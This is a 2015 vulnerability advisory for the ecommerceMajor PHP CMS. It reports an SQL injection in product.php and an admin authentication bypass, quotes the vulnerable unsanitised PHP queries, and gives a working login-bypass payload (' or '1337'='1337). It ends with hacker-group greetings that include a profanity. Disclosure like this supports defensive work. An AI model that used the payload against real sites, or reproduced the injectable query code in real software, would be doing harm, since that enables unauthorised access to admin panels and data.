ecommerceMajor SQL Injection

`##################################################################################################  
#Exploit Title : ecommercemajor ecommerce CMS SQL Injection and Authentication bypass  
#Author : Manish Kishan Tanwar  
#Home page Link : https://github.com/xlinkerz/ecommerceMajor  
#Date : 22/01/2015  
#Discovered at : IndiShell Lab  
#Love to : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,jagriti,Kishan Singh and ritu rathi  
#email : [email protected]  
##################################################################################################  
  
////////////////////////  
/// Overview:  
////////////////////////  
  
ecommercemajor is the php based CMS for ecommerce portal  
  
///////////////////////////////  
// Vulnerability Description:  
///////////////////////////////  
  
SQL injection vulnerability:-  
==============================   
in file product.php data from GET parameter 'productbycat' is not getting filter before passing into SQL query and hence rising SQL Injection vulnerability  
---------------------  
$getallproduct="select * from purchase where status='enable' and catid=$_GET[productbycat] order by id desc";  
---------------------  
POC  
  
http://127.0.0.1/ecommercemajor/product.php?productbycat=SQLI  
  
  
Authentication Bypass:-  
==============================   
file index.php under directory __admin has SQL injection vulnerability  
parameter username and password suppliedin post parameter for checking valid admin username and password is not getting filter before passing into SQL query which arise authentication bypass issue.  
vulnerable code is   
-------------------  
if(isset($_POST[login]))  
{  
$check="select * from adminlogin where username='$_POST[username]' and password='$_POST[username]'";  
$checkresult=mysql_query($check);  
$checkcount=mysql_num_rows($checkresult);  
if($checkcount>0)  
{   
$checkrow=mysql_fetch_array($checkresult);  
$_SESSION[adminname]=$checkrow[adminname];  
$_SESSION[adminloginstatus]="success";  
echo "<script>window.location='home.php';</script>";  
}  
--------------------  
POC  
  
open admin panel   
http://127.0.0.1/ecommercemajor/__admin/  
username: ' or '1337'='1337  
password: ' or '1337'='1337  
  
  
  
--==[[ Greetz To ]]==--  
############################################################################################  
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,  
#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,  
#Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,  
#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Das  
#############################################################################################  
--==[[Love to]]==--  
#Kishan Tanwar,Mrs. Ritu Rathi,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,  
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Don(Deepika kaushik)  
--==[[ Special Fuck goes to ]]==--  
<3 suriya Cyber Tyson <3  
`